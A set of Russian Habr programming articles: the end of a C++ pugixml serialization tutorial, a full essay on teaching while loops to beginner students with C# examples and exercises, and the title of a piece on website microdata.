};
```
Теперь проверка.
```
void Test()
{
{
TestClass lv_Test;
lv_Test.ObjectName = "Hello my little pony";
lv_Test.X = 666;
lv_Test.Transf.Scale.X = 6;
lv_Test.Transf.Scale.Y = 6;
lv_Test.Transf.Scale.Z = 6;
pugi::xml_document doc;
auto lv_Node = doc.append_child("Serialization");
lv_Test.Serialize(lv_Node);
doc.save_file(L"Test.xml");
doc.save(cout);
}
{
pugi::xml_document doc;
doc.load_file(L"Test.xml");
auto lv_Node = doc.child("Serialization");
TestClass lv_Test;
lv_Test.Deserialize(lv_Node);
cout << "Test passed : " <<
(
lv_Test.X == 666 &&
lv_Test.ObjectName == "Hello my little pony" &&
lv_Test.Transf.Scale.X &&
lv_Test.Transf.Scale.Y &&
lv_Test.Transf.Scale.Z
);
}
}
```
На выходе получаем
```
xml version="1.0"?
Test passed : 1
```
Ура! Всё получилось и работет как надо.
Для большей информации советую скачать исходники.
Исходники тут ---> [www.dropbox.com/s/e089fgi3b1jswzf/Serialization.zip?dl=0](https://www.dropbox.com/s/e089fgi3b1jswzf/Serialization.zip?dl=0)
**UPD.**
Нашёл более оригинальное решение для большего контроля типов.
Вместо того чтобы использовать класс SerializerEX, достаточно было чуть-чуть похимичить с декларацией сериализаторов. Превратив их из
```
void Serialize(const string& _key, T* _val, xml_node & _node)
```
в
```
void Serialize(const string& _key, T* _val, xml_node & _node,...)
```
Тем самым указывая вместо **...** указатель на тип мы сможем добиться большего контроля. Например
```
void Serialize(const string& _key, T* _val, xml_node & _node, Widget*)
{
...
}
```
будет работать только с объектами унаследованными от Widget\* при этом сохраняя оригинальный тип.
Соответственно наш макрос при этом поменяется на более простой
```
#define serialize(x) char UNNAMED = Add \
( \
#x, \
[this](const string& _key, ClearType::Type& \_cont) \
{ \
::Serialize(\_key, &x, \_cont, (ClearType::Type\*)0); \
}, \
\
[this](const string& \_key, ClearType::Type& \_cont) \
{ \
::Deserialize(\_key, &x, \_cont, (ClearType::Type\*)0); \
} \
)
``` | https://habr.com/ru/post/244963/ | null | ru | null |
# Как научить преодолевать трудности, а заодно и писать циклы
Несмотря на то, что речь пойдет об одной из базовых тем, данная статья написана для опытных специалистов. Цель — показать какие заблуждения бывают у новичков в программировании. Для практикующих разработчиков эти проблемы уже давно решены, позабыты или вообще не замечены. Статья может пригодиться, если вдруг вам придется помогать с этой темой кому-нибудь. В статье проводятся параллели с материалом из различных книг по программированию авторства Шилдта, Страуструпа, Окулова.
Тема про циклы выбрана потому, что на ней отсеивается довольно много людей при освоении программирования.
Данная методика рассчитана на слабых студентов. Как правило, сильные на этой теме не застревают и особенных методик для них придумывать не нужно. Второстепенная цель статьи — перевести эту методику из класса «работает на всех студентах, но только у одного преподавателя» в класс «работает у всех студентов, всех преподавателей». На абсолютную оригинальность не претендую. Если вы уже применяете похожую методику для обучения этой теме, напишите, пожалуйста, чем ваш вариант отличается. Если решите применить, расскажите по итогам, как все прошло. Если похожая методика описана в какой-нибудь книжке, напишите, пожалуйста, название.
Данную методику я отрабатывал 4 года, занимаясь индивидуально со студентами разного уровня подготовки. Всего около полусотни студентов и двух тысяч часов занятий. Поначалу на этой теме студенты навечно застревали и уходили. После каждого студента методика и материалы корректировались. Последний год студенты уже не застревают на этой теме, так что я решил поделиться наработками.
#### Зачем столько букв? Циклы это же элементарно!
Как я уже писал выше, для практикующих разработчиков и для сильных студентов, сложность концепции циклов может быть недооценена. Например можно устроить долгую лекцию, увидеть кивающие головы и умные глаза. Но при попытке решить какую-нибудь задачу, начинается ступор и необъяснимые проблемы. После лекции у студентов наверняка сложилось лишь частичное понимание. Ситуация усугубляется тем, что студенты не могут сами озвучить, в чем именно их заблуждение.
Однажды я осознал, что студенты воспринимают мои примеры как иероглифы. То есть как неделимые куски текста, в которых нужно дописать какую-то «магическую» букву и оно заработает.
Иногда я замечал, что студенты думают, что для решения конкретной задачи нужна *какая-то еще* конструкция, которую я просто еще не рассказал. Хотя для решения требовалось лишь немного модифицировать пример.
Поэтому я пришел к идее о том, что основное внимание нужно обращать не на синтаксис выражений, а на идею о рефакторинге повторяющегося кода с помощью циклов. Как только ученики осваивают эту идею, то любой синтаксис подтягивается путем небольших упражнений.
#### Кому и зачем я преподаю
Поскольку вступительных экзаменов нет, то на занятиях могут быть как сильные, так и очень слабые студенты. Более подробно о моих студентах можно почитать в статье [Портрет слушателей вечерних курсов](https://habr.com/ru/post/350360/)
Я стремился к тому, чтобы программирование осваивали все, кто этого хочет.
Мои занятия проходят индивидуально и студент платит свои деньги за каждое. Казалось бы, студенты будут оптимизировать затраты и требовать минимум. Однако люди ходят на очные занятия с живым преподавателем не за самими знаниями, а за уверенностью в том что они успели усвоить, за ощущением прогресса и за одобрением от эксперта (преподавателя). Если студенты не будут чувствовать прогресса в своем обучении, они будут уходить. В целом можно построить занятия так, чтобы студенты ощущали прогресс в увеличении количества знакомых конструкций. То есть сначала подробно изучаем while, потом изучаем for, потом do while и вот у нас готов курс на тысячу и одну ночь, в котором два месяца изучаются одни только циклы, а на выходе — студент, который под диктовку написал стандартную библиотеку. Однако для того, чтобы решать практические задачи, нужно не только знание материала, но и самостоятельность в его применении и в поиске новой информации. Поэтому для очных курсов считаю правильным принцип — научить минимуму и поощрять самостоятельное изучение нюансов и смежных тем. В теме про циклы, минимумом я считаю конструкцию while. На ней можно понять принцип. Зная принцип можно освоить и for и do-while самостоятельно.
Чтобы добиться освоения материала слабыми студентами, описать синтаксис недостаточно. Нужно давать побольше простых, но разнообразных заданий и расписывать примеры более подробно. В конечном итоге скорость освоения ограничивается способностью студента к преобразованию выражений и поиску закономерностей. Для сообразительных студентов, большинство заданий будут скучными. При занятиях с ними, можно не настаивать на решении 100% задач. Мой материал можно посмотреть на [моем гитхабе](https://github.com/AKryukov92/programming-basics). Правда репозиторий больше похож на гримуар чернокнижника — никто, кроме меня, не поймет что где находится~~, а если провалить проверку, то можно сойти с ума~~
#### Методика ориентирована на практику
Теория объясняется на примере решения задачи. На занятиях по основам программирования, где изучаются ветвления и циклы, просто не получится устроить полезную лекцию по одной теме на целый час. 15-20 минут хватает, чтобы объяснить концепцию. Основные сложности появляются при выполнении практических заданий.
Начинающие преподаватели могут вывалить операторы, ветвления, циклы и массивы за одну лекцию. Вот только студенты у них столкнутся с проблемой усвоения этой информации.
Нужно ведь не только рассказать материал, но и убедиться, что слушатели его поняли.
Факт усвоения темы определяется по тому, как студент справляется с самостоятельной работой.
Если студенту удалось решить задачу по теме без помощи преподавателя, значит тема усвоена. Чтобы обеспечить самостоятельную проверку, у каждой задачи описывается таблица с тестовыми сценариями. У задач есть ярко выраженный порядок. Пропускать задачи не рекомендуется. Если текущая задача слишком сложная, то к следующей переходить бесполезно. Она ещё сложнее. Чтобы студент мог осилить текущую сложную задачу, ему объясняется несколько приемов на примере первой задачи. Собственно, все содержание темы сводится к приемам преодоления трудностей. Циклы это, скорее, побочный эффект.
Первая задача всегда пример. Вторая отличается незначительно и выполняется «самостоятельно» сразу же после первой под присмотром преподавателя. Все последующие задачи направлены на то, чтобы обратить внимание на разные мелочи, которые могут вызывать заблуждения.
Объяснение примера представляет собой диалог, в котором у студента нужно вызывать back propagation и кросс-валидацию чтобы убедиться в усвоении порции материала.
Буду банален и заявлю, что первый пример по теме — очень важен. При наличии материала для обширной самостоятельной работы, упущения первого примера можно поправить. Если кроме примера больше ничего нет, то студент скорее всего не освоит тему.
#### While или for?
Один из спорных вопросов — выбор конструкции для примера: while или for. Однажды мой знакомый практикующий разработчик без опыта преподавания целый час убеждал меня, что цикл for — самый простой для понимания. Аргументы сводились к «в нем все понятно и по местам разложено». Однако первопричина затруднений настоящих новичков в самой идее цикла, а не в его написании. Если человек не поймет эту идею, то у него будут затруднения с синтаксисом. Как только идея осознана, то проблемы оформления кода исчезают сами.
В моих материалах тема циклов следует за темой про ветвления. Внешнее сходство if и while позволяет провести прямую аналогию: «когда условие в заголовке истинно, то выполняется тело». Особенность цикла лишь в том, что тело выполняется много раз.
Второй мой аргумент в том, что while требует меньше оформления, чем for. Меньше оформления — меньше глупых ошибок с пропущенными запятыми и скобочками. У новичков еще не настолько развита внимательность и дотошность, чтобы автоматически избегать синтаксических ошибок.
Третий аргумент — во многих хороших книгах while объясняется первым.
Если студенту удается легко преобразовывать выражения, то можно рассказать о for мимоходом. Студент дальше сам выберет что ему больше нравится. Если же преобразования вызывают затруднения, то лучше не рассеивать внимание. Пускай сначала студент решит все с помощью while. Когда тема циклов освоена, можно переписать решения, чтобы отработать преобразование while в for.
Циклы с постусловием — довольно редкий зверь. На него я время не трачу вообще. Если студент освоил идеи выявления закономерностей и преобразования выражений, то сможет разобраться без моей помощи.
При демонстрации первого примера сильным студентам, обращаю внимание на то, что в первом примере важно зафиксировать не только решение, но и всю цепочку действий, которые привели к результату. Ленивые студенты могут пренебречь писаниной и перенести себе только конечный алгоритм. Их нужно убедить в том, что однажды и для них попадется сложная задача. Для ее решения, понадобится идти по шагам как в этом примере. Именно поэтому важно зафиксировать все этапы. В следующих задачах можно будет оставить только финальный вариант решения.
Основная идея автоматизации в том, что мы поручаем компьютеру выполнять рутинную работу за человека. Один из базовых приемов — написание циклов. Он применяется когда в программе подряд пишется несколько одинаковых повторяющихся действий.
#### Явное лучше неявного
Может показаться хорошей идеей в первой задаче по циклам вывести на экран какую-то одинаковую фразу несколько раз. Например:
> Ура, работает!
>
> Ура, работает!
>
> Ура, работает!
>
> Ура, работает!
>
> Ура, работает!
>
> Ура, работает!
>
> Ура, работает!
>
> Ура, работает!
>
>
Такой вариант плох тем, что в выводе не видно значения счетчика. Это проблема для начинающих. Не стоит ее недооценивать. Поначалу эта задача была первой, а задача про вывод ряда чисел по возрастанию — второй. Приходилось вводить дополнительные термины «цикл N раз» и «цикл от A до B», которые по сути одно и то же. Чтобы не плодить лишних сущностей, я решил показывать только пример с выводом ряда чисел. Немногим удается без подготовки научиться держать в голове счетчик и моделировать поведение программы в голове. Некоторые студенты впервые сталкиваются с моделированием «в уме» именно на теме про циклы.
После некоторой практики, задачу на повторение одинакового текста я даю на самостоятельное решение. Если давать сначала видимый счетчик, а потом невидимый, то у студентов возникает меньше проблем. Иногда достаточно подсказки «не пиши счетчик на экран».
#### Как объясняется у других?
В большинстве учебных материалов в интернете, синтаксис цикла дается в составе «лекции». Например на developer.mozilla.org (в настоящий момент) вместе с циклом while описываются еще несколько конструкций. При этом даются исключительно сами конструкции в виде шаблонов. Результат их запуска описывается словами, а иллюстрация отсутствует. На мой взгляд, такая подача темы умножает на ноль полезность таких материалов. Ученик может переписать код и запустить его сам, но эталон для сравнения все равно нужен. Как понять, что пример переписан правильно, если не с чем сравнить результат?
Когда дается только шаблон, без примера, студенту становится еще сложнее. Как понять, что фрагменты кода расставлены в шаблоне правильно? Можно попробовать написать *как-нибудь*, а потом запустить. Но если нет эталона для сравнения результата, то запуск тоже не поможет.
В курсе по C++ на интуите синтаксис цикла закопан в третьей странице лекции 4 по теме «операторы». При объяснении синтаксиса циклов делают особый упор на термин «оператор». Термин подается в виде набора фактов вроде «символ; это оператор», "{} это составной оператор", «тело цикла должно быть оператором». Мне такой подход не нравится тем, что он как бы прячет важные взаимосвязи за одним термином. Разбор исходного кода программы на термы на таком уровне нужен разработчикам компиляторов для реализации спецификации языка, но никак не студентам в первом приближении. Новички в программировании редко обладают достаточной дотошностью, чтобы настолько внимательно относиться к терминам. Редкий человек запоминает и понимает новые слова с первого раза. Практически никто не может правильно применить термин, который только что узнал. Поэтому у студентов возникает куча ошибок вроде «написал while(a<7);{, а программа не работает».
На мой взгляд, в начале лучше дать синтаксис конструкции сразу со скобочками. Вариант без скобочек объяснять только если у ученика возник конкретный вопрос «почему тут без скобочек и работает».
В книге Окулова «Основы программирования» 2012 г. знакомство с циклами начинается с шаблона for, затем даются рекомендации по его использованию, а потом сразу идет экспериментальный раздел занятия. Я так понимаю, что книга писалась для того меньшинства очень способных учеников, которые редко приходят ко мне на занятия.
В популярных книгах всегда пишется результат фрагментов кода. Например у Шилдта «Java 8. Полное руководство» 2015 года издания. Сначала дается шаблон, потом пример программы и сразу после него — результат выполнения.
> В качестве примера рассмотрим цикл while, в котором выполняется обратный
>
> отсчет, начиная с 10, и выводится ровно 10 строк «тактов»:
> ```
> //Продемонстрировать применение оператора цикла while
> class While {
> public static void main(String args []) {
> int n = 10;
> while (n > 0) {
> System.out.println("такт " + n);
> n--;
> }
> }
> }
> ```
>
>
> После запуска эта программа выводит десять «тактов» следующим образом:
>
> `такт 10
>
> такт 9
>
> такт 8
>
> такт 7
>
> такт 6
>
> такт 5
>
> такт 4
>
> такт 3
>
> такт 2
>
> такт 1`
Подход с описанием шаблона, примера программы и результата работы этой программы используется также в книге «Javascript для детей» и в курсе js на w3schools.com. Формат веб-страницы даже позволяет сделать этот пример интерактивным.
В книге Страуструпа «Принципы и практика с использованием C++» 2016 г. автор пошел еще дальше. Первым делом объясняется какой результат должен получиться, а уже после этого — показывают текст программы. Причем в качестве примера берут не просто случайную программу, а дают экскурс в историю. Это помогает обратить внимание на нее «Смотри, это не просто какой то бесполезный текст. Ты видишь что то значимое».
> В качестве примера итерации рассмотрим первую программу, выполненную на машине с хранимой программой (EDSAC). Она была написана Дэвидом Уилером (David Wheeler) в компьютерной лаборатории Кэмбриджского университета (Cambridge University, England) 6 мая 1949 года. Эта программа вычисляет и распечатывает простой список квадратов.
>
> `0 0
>
> 1 1
>
> 2 4
>
> 3 9
>
> 4 16
>
> ...
>
> 98 9604
>
> 99 9801`
>
> Здесь в каждой строке содержится число, за которым следуют знак табуляции ('\t') и квадрат этого числа. Версия этой программы на языке C++ выглядит так:
>
>
> ```
> //Вычисляем и распечатываем таблицу квадратов чисел 0-99
> int main()
> {
> int i = 0; // Начинаем с нуля
> while(i < 100){
> cout << i << '\t' << square(i) << '\n';
> ++i;
> }
> }
> ```
>
Любопытно, что шаблон синтаксиса в этой книге не описывается. Страуструп в руководстве инструктора ([перевод](https://habr.com/ru/post/349342/)) делает упор на то, что уважает интеллект своих студентов. Возможно умение выявить шаблон в нескольких примерах и считается проявлением такого интеллекта.
#### Как объясняю я сам
Подход Страуструпа: описание результата, затем решение задачи, а потом самостоятельный анализ студентом — выглядит самым продуманным. Поэтому я решил взять за основу именно его, но рассказывать на менее историчном примере — задаче по выводу «оглавления». Она формирует узнаваемый якорь, чтобы потом говорить «вспомни задачу про оглавление» и чтобы студенты вспоминали именно ее. В своем примере я постарался предупредить еще два из самых распространенных заблуждений. Далее я напишу о них подробнее.
> На этой задаче мы знакомимся с приемами решения сложных задач. Первоначальное решение нужно сделать примитивно и просто. Ну а затем можно подумать, как улучшить это решение.
>
> `Введение
>
> Глава 1
>
> Глава 2
>
> Глава 3
>
> Глава 4
>
> Глава 5
>
> Глава 6
>
> Глава 7
>
> Заключение`
По моим наблюдениям, подход «шаблон-пример-результат» в разных комбинациях все равно приводит к тому, что студенты воспринимают цикл как иероглиф. Это проявлялось в том, что они не понимали зачем там писать условие, как выбирать между i++ и i-- и прочие вроде бы очевидные вещи. Для избежания этих заблуждений, подход к рассказу о циклах должен подчёркивать смысл повторения одинаковых действий и только потом — оформление их с помощью конструкции. Поэтому прежде чем давать синтаксис цикла, нужно решить задачу «в лоб». Примитивное решение задачи про оглавление выглядит так:
```
Console.WriteLine("Введение");
Console.WriteLine("Глава 1");
Console.WriteLine("Глава 2");
Console.WriteLine("Глава 3");
Console.WriteLine("Глава 4");
Console.WriteLine("Глава 5");
Console.WriteLine("Глава 6");
Console.WriteLine("Глава 7");
Console.WriteLine("Заключение");
```
Как его можно улучшить?
Заменить однообразные действия на цикл.
Какие действия тут повторяются подряд без изменений?
В этом фрагменте таких нет. Впрочем команды по выводу слова «Глава» с номером очень похожи друг на друга.
Поэтому следующий этап — поиск разницы между фрагментами. Это только в этой задаче все очевидно, потом повторяться будут не одиночные команды, а блоки кода по 5 строк и более. Искать придется не просто в списке команд, а конструкциях ветвления или цикла.
В примере разница между командами в числе после слова «Глава».
Как только разница найдена, нужно понять закономерность изменения. Отличающийся фрагмент это число? Оно постоянно увеличивается или уменьшается? Как меняется значение числа между двумя командами рядом?
В примере число после слова «Глава» увеличивается с шагом 1. Разница найдена, закономерность выявлена. Теперь можно заменить различающийся фрагмент на переменную.
Объявлять такую переменную нужно перед первым из повторяющихся фрагментов. Такую переменную обычно называют I или j или как-то более развернуто. Её начальное значение должно быть равно первому выводимому на экран значению. В примере первое значение это 1.
Какое начальное значение нужно взять для вывода ряда чисел «100, 101, 102, 103, 104, 105»?
В этом ряду первое число 100.
После каждой команды вывода нужно увеличить значение этой переменной на 1. Эта единица — шаг изменения.
Какой шаг будет в ряду чисел «100, 102, 104, 106»?
В этом ряду шаг 2.
После замены различающегося фрагмента на переменную, код будет выглядеть так:
```
Console.WriteLine("Введение");
int i;
i = 0;
Console.WriteLine("Глава " + i);
i = i + 1;
Console.WriteLine("Глава " + i);
i = i + 1;
Console.WriteLine("Глава " + i);
i = i + 1;
Console.WriteLine("Глава " + i);
i = i + 1;
Console.WriteLine("Глава " + i);
i = i + 1;
Console.WriteLine("Глава " + i);
i = i + 1;
Console.WriteLine("Глава " + i);
i = i + 1;
Console.WriteLine("Заключение");
```
После применения приема «выразить закономерность переменной» в коде получается несколько групп одинаковых действий, которые идут подряд. Теперь повторяющиеся действия можно заменить на цикл.
Последовательность решения задачи, где нужно использовать циклы, состоит из этапов:
1. Решить «в лоб» множеством отдельных команд
2. Найти закономерность
3. Выразить закономерность переменной
4. Оформить в виде цикла
Далее вводится новые термины, чтобы студент не оказался в ситуации «все понимаю, но сказать не могу»:
— счётчик — всегда переменная, которая нужна для отслеживания количества шагов цикла. Обычно целое число, которое сравнивается с ограничением.
— шаг счётчика — описание закономерности изменения счётчика.
— ограничение — число или переменная, с которой сравнивается счётчик, чтобы алгоритм был конечным. Значение счётчика меняется так, чтобы приближаться к ограничению.
— тело цикла — набор команд, которые будут повторяться. Когда говорится «команда написана внутри цикла», то имеют в виду именно тело.
— итерация цикла — однократное выполнение тела цикла.
— условие цикла — логическое выражение, от которого зависит, будет ли выполняться ещё одна итерация. (Тут возможна путаница с конструкциями ветвления)
Нужно быть готовым к тому, что первое время студенты будут применять термины не по назначению. Это относится как к сильным, так и к слабым. Налаживание общего языка это целое искусство. Сейчас напишу кратко: нужно ставить задачу «выдели фрагмент кода с <термин>» и самому правильно использовать эти термины в разговоре.
После преобразования с циклом получается фрагмент:
```
Console.WriteLine("Введение");
int i = 0;
while (i < 7) {
Console.WriteLine("Глава " + i);
i = i + 1;
}
Console.WriteLine("Заключение");
```
#### Главное заблуждение
Одно популярное заблуждение студентов в том, что они помещают внутри конструкции цикла такие действия, которые нужно делать всего один раз. Например вот так:
```
;
int i = 0;
while (i < 7) {
Console.WriteLine("Введение")
Console.WriteLine("Глава " + i);
i = i + 1;
Console.WriteLine("Заключение");
}
```
Ученики постоянно натыкаются на эту проблему, как в начале, так и в более сложных задачах.
Коронная подсказка в этом случае:
> Сколько раз нужно повторять написание команды: один раз или много?
>
>
Команды вывода слов «Введение» и «Заключение», а также объявление и инициализация переменной i не похожи на другие повторяющиеся действия. Они выполняются всего по одному разу, значит их нужно писать за пределами тела цикла.
В коде должны остаться все три этапа решения, чтобы потом ссылаться на них в случае затруднений. Первые два варианта достаточно закомментировать, чтобы они не мешали.
Внимание студента нужно обратить на следующие факты:
— В условии цикла обычно сравнивается счётчик и ограничение. Счётчик может меняться в теле цикла, а ограничение — нет. Чтобы нарушить это правило, нужно сформулировать веские причины.
— Команды для вывода слов «Введение» и «Заключение» находятся за пределами тела цикла. Нам их нужно выполнить 1 раз. «Введение» — до повторения действий, «Заключение» — после.
В процессе закрепления этой темы, освоения следующих, а также разбирательств с затруднениями даже сильным студентам полезно задавать вопрос: «А вот это действие сколько раз нужно выполнять? Один или много?».
#### Развитие дополнительных навыков
В процессе изучения циклов, у студентов ещё тренируется навык диагностики и решения проблем. Для проведения диагностики, студенту нужно представить желаемый результат и сравнить его с фактическим результатом. От разницы между ними зависят действия для исправления.
Поскольку студенты на этом этапе ещё плохо представляют себе «желаемый» результат, то они могут ориентироваться на тестовые данные. Как правило никто на этом этапе ещё не понимает, что может пойти не так и как с этим бороться. Поэтому я даю под запись в тетрадь описание типичных проблем и несколько способов их решения. Выбор наиболее подходящего из них — задача самого студента.
Запись нужна чтобы спрашивать «получилось то, что ожидалось?», «Какая из этих ситуаций сейчас получилась?», «Помогло ли примененное решение?».
1. Количество действий на 1 меньше или больше, чем ожидается. Способы решения:
— увеличить начальное значение счётчика на 1.
— заменить строгий оператор сравнения (< или >) на нестрогий (<= или >=).
— изменить значение ограничения на 1.
2. Действия в цикле выполняются без остановки, бесконечно. Способы решения:
— добавить команду изменения счётчика, если она отсутствует.
— исправить команду изменения счётчика так, чтобы его значение становилось ближе к ограничению.
— убрать команду изменения ограничения, если она в теле цикла.
3. Количество действий в цикле более чем на 1 меньше или больше, чем ожидалось. Действие в цикле не выполнилось ни разу. Сначала нужно выяснить фактические значения переменных непосредственно перед началом цикла. Способы решения:
— изменить начальное значение ограничения
— изменить начальное значение счетчика
Обычно проблема 3 связана с использованием не той переменной или не-обнулением счётчика.
После этого объяснения, у студента все ещё могут быть различные заблуждения по поводу работы циклов.
Чтобы развеять самые распространенные, даю задачи:
1. В которой ограничение, начальное значение счётчика или шаг счетчика вводится пользователем.
2. В которой значение счётчика нужно использовать в каком-то арифметическом выражении. Желательно со счётчиком в подкоренном выражении или в знаменателе, чтобы разница была нелинейная.
3. В которой значение счётчика не выводится на экран в процессе работы цикла. Например вывод нужного количества одинаковых фрагментов текста или нарисовать фигуру черепашьей графикой.
4. В которой нужно выполнить сначала одни повторяющиеся действия, а потом другие.
5. В которой нужно выполнить другие действия до и после повторяющихся
Для каждой задачи нужно привести тестовые данные и ожидаемый результат.
Чтобы понять, насколько быстро можно двигаться, нужно дать прочитать условия этих задач и спросить: «чем они отличаются от примера?», «Что нужно изменить в примере, чтобы решить их?». Если студент осмысленно отвечает, тогда пусть решит хотя бы одну на занятии, а остальные — дома самостоятельно. Если решение будет успешно, то можно начать объяснение про условия внутри циклов.
Если с самостоятельным решением затруднения, то нужно все отрабатывать на занятии. Чтобы решение задачи не напоминало рисование совы, я рекомендую сначала решить задачу не универсально. То есть так, чтобы решение проходило первый тест и не использовало конструкцию цикла. Ну а потом уже применять преобразования, чтобы добиться универсальности решения.
#### Циклы и ветвления
На мой взгляд, полезно дать тему «циклы внутри ветвлений» отдельно. Так, чтобы потом было видно разницу между многократной проверкой условия и однократной.
Задачи для закрепления будут про вывод чисел от А до В, которые вводятся пользователем:
— всегда по возрастанию.
— по возрастанию или по убыванию в зависимости от значений А и В.
К теме «ветвления внутри циклов» нужно переходить только после того, как студент освоил приемы: «замена закономерности на переменную» и " замена повторяющихся действий на цикл".
Главная причина применения ветвлений внутри циклов — аномалии в закономерности. В середине она нарушается в зависимости от исходных данных.
Тем студентам, которые способны искать решение путем комбинирования простых приемов, достаточно сказать «ветвления можно писать внутри циклов» и дать задачу «для примера» полностью на самостоятельное решение.
Задача для примера:
> Пользователь вводит число Х. Вывести в столбик числа от 0 до 9 и поставить знак '+' напротив того числа, которое равно Х.
**Если было введено 0**0+
1
2
3
4
5
6
7
8
9
**Если было введено 6**0
1
2
3
4
5
6+
7
8
9
**Если было введено 9**0
1
2
3
4
5
6
7
8
9+
**Если было введено 777**0
1
2
3
4
5
6
7
8
9
Если краткого объяснения не хватает чтобы написать с циклом, тогда нужно добиться универсального решения этой же задачи без цикла.
Получится один из двух вариантов:
**Желаемый**
```
string temp;
temp = Console.ReadLine();
int x;
x = int.Parse(temp);
if (x==0) {
Console.WriteLine(0 + "+");
} else {
Console.WriteLine(0);
}
if (x==1) {
Console.WriteLine(1 + "+");
} else {
Console.WriteLine(1);
}
if (x==2) {
Console.WriteLine(2 + "+");
} else {
Console.WriteLine(2);
}
if (x==3) {
Console.WriteLine(3 + "+");
} else {
Console.WriteLine(3);
}
if (x==4) {
Console.WriteLine(4 + "+");
} else {
Console.WriteLine(4);
}
if (x==5) {
Console.WriteLine(5 + "+");
} else {
Console.WriteLine(5);
}
if (x==6) {
Console.WriteLine(6 + "+");
} else {
Console.WriteLine(6);
}
if (x==7) {
Console.WriteLine(7 + "+");
} else {
Console.WriteLine(7);
}
if (x==8) {
Console.WriteLine(8 + "+");
} else {
Console.WriteLine(8);
}
if (x==9) {
Console.WriteLine(9 + "+");
} else {
Console.WriteLine(9);
}
```
**Возможный**
```
string temp;
temp = Console.ReadLine();
int x;
x = int.Parse(temp);
if (x==0) {
Console.WriteLine("0+\n1\n2\n3\n4\n5\n6\n7\n8\n9");
}
if (x==1) {
Console.WriteLine("0\n1+\n2\n3\n4\n5\n6\n7\n8\n9");
}
if (x==2) {
Console.WriteLine("0\n1\n2+\n3\n4\n5\n6\n7\n8\n9");
}
if (x==3) {
Console.WriteLine("0\n1\n2\n3+\n4\n5\n6\n7\n8\n9");
}
if (x==4) {
Console.WriteLine("0\n1\n2\n3\n4+\n5\n6\n7\n8\n9");
}
if (x==5) {
Console.WriteLine("0\n1\n2\n3\n4\n5+\n6\n7\n8\n9");
}
if (x==6) {
Console.WriteLine("0\n1\n2\n3\n4\n5\n6+\n7\n8\n9");
}
if (x==7) {
Console.WriteLine("0\n1\n2\n3\n4\n5\n6\n7+\n8\n9");
}
if (x==8) {
Console.WriteLine("0\n1\n2\n3\n4\n5\n6\n7\n8+\n9");
}
if (x==9) {
Console.WriteLine("0\n1\n2\n3\n4\n5\n6\n7\n8\n9+");
}
```
Похожую задачу я даю заранее, во время изучения темы про ветвления.
Если у студента получился «возможный» вариант, то нужно рассказать что решений одной и той же задачи может быть множество. Однако они различаются устойчивостью к изменениям требований. Задайте вопрос: «Сколько мест в коде нужно будет поправить, если придется добавить ещё одно число?» В «возможном» варианте нужно будет добавить ещё одно ветвление и дописать в 10 других местах новое число. В «желаемом» достаточно добавить только одно ветвление.
Поставьте задачу воспроизвести «желаемый» вариант, затем найти в коде закономерность, выполнить замену переменной и написать цикл.
Если у вас есть идея, как решить эту задачу без цикла каким-то еще способом, напишите, пожалуйста, в комментариях.
#### Циклы внутри циклов
В этой теме нужно обратить внимание на то что:
— счётчики для внутреннего и внешнего цикла должны быть разными переменными.
— счётчик для внутреннего цикла нужно обнулять много раз (то есть в теле внешнего цикла).
— в задачах вывода текста нельзя сначала написать одну букву в нескольких строках, а потом вторую. Нужно сначала вывести все буквы первой строки, потом все буквы второй и так далее.
Объяснение темы про циклы внутри циклов лучше всего начать с объяснения важности обнуления счетчика.
Задача для примера:
> Пользователь вводит два числа: R и T. Вывести две строки символов "#". В первой строке должно быть R штук символов. Во второй строке T штук. Если какое-либо число будет отрицательно, вывести сообщение об ошибке.
**R=5, T=11**#####
###########
**R=20, T=3**####################
###
**R=-1, T=6**Значение R должно быть неотрицательно
**R=6, T=-2**Значение T должно быть неотрицательно
Очевидно, что у этой задачи тоже есть как минимум два варианта решения.
**Желаемый**
```
string temp;
int R;
int T;
temp = Console.ReadLine();
R = int.Parse(temp);
temp = Console.ReadLine();
T = int.Parse(temp);
int i = 0;
while (i < R)
{
Console.Write("#");
i = i + 1;
}
Console.WriteLine();
i = 0;
while (i < T)
{
Console.Write("#");
i = i + 1;
}
```
**Возможный №1**
```
string temp;
int R;
int T;
temp = Console.ReadLine();
R = int.Parse(temp);
temp = Console.ReadLine();
T = int.Parse(temp);
int i = 0;
while (i < R)
{
Console.Write("#");
i = i + 1;
}
Console.WriteLine();
int j = 0;
j = 0;
while (j < T)
{
Console.Write("#");
j = j + 1;
}
```
Отличие в том, что в «возможном» решении для вывода второй строки была использована вторая переменная. Нужно настоять на применении одной и той же переменной для обоих циклов. Аргументировать такое ограничение можно тем, что решение с одним счётчиком для двух циклов будет иллюстрацией термина «обнуление счётчика». Понимание этого термина нужно при решении следующих задач. В качестве компромисса, можно сохранить оба решения задачи.
Типичная проблема с использованием одной переменной-счётчика для двух циклов проявляется вот так:
**R=5, T=11**#####
######
Количество символов во второй строке не соответствует значению T. Если с этой проблемой нужна помощь, то нужно «ткнуть носом» в конспект про типичные проблемы с циклами. Это симптом №3. Диагностируется если добавить вывод значения счётчика непосредственно перед вторым циклом. Исправляется обнулением. Но это лучше сразу не рассказывать. Студент должен попытаться сформулировать хотя бы одну гипотезу.
Есть, конечно, еще такой вариант решения. Но я его у студентов ни разу не видел. На этапе изучения циклов рассказ о нем будет рассеивать внимание. Можно вернуться к нему позже, при изучении функций работы со строками.
**Возможный №2**
```
string temp;
int R;
int T;
temp = Console.ReadLine();
R = int.Parse(temp);
temp = Console.ReadLine();
T = int.Parse(temp);
Console.WriteLine(new String('#', R));
Console.WriteLine(new String('#', T));
```
Следующая обязательная задача:
> Выведите на экран цифры от 0 до 9. Каждая цифра должна быть на своей строчке. Количество цифр в строчке (W) вводится с клавиатуры.
**W=1**0
1
2
3
4
5
6
7
8
9
**W=10**`0000000000
1111111111
2222222222
3333333333
4444444444
5555555555
6666666666
7777777777
8888888888
9999999999`
Если студент освоил прием с заменой переменной, то он справится довольно быстро. Возможная проблема будет опять в обнулении переменной. Если не справляется с преобразованием, значит вы поторопились и нужно порешать более простые задачки.
Спасибо за внимание. ~~Ставьте лайки, подписывайтесь на канал.~~
P.S. Если вы нашли опечатки или ошибки в тексте, пожалуйста, сообщите мне. Это можно сделать выделив часть текста и нажав в Mac «⌘ + Enter», а на классических клавиатурах «Ctrl / Enter», либо через личные сообщения. Если же эти варианты недоступны, напишите об ошибках в комментариях. Спасибо! | https://habr.com/ru/post/456500/ | null | ru | null |
# Микроразметка сайта для Яндекс и Google с примерами
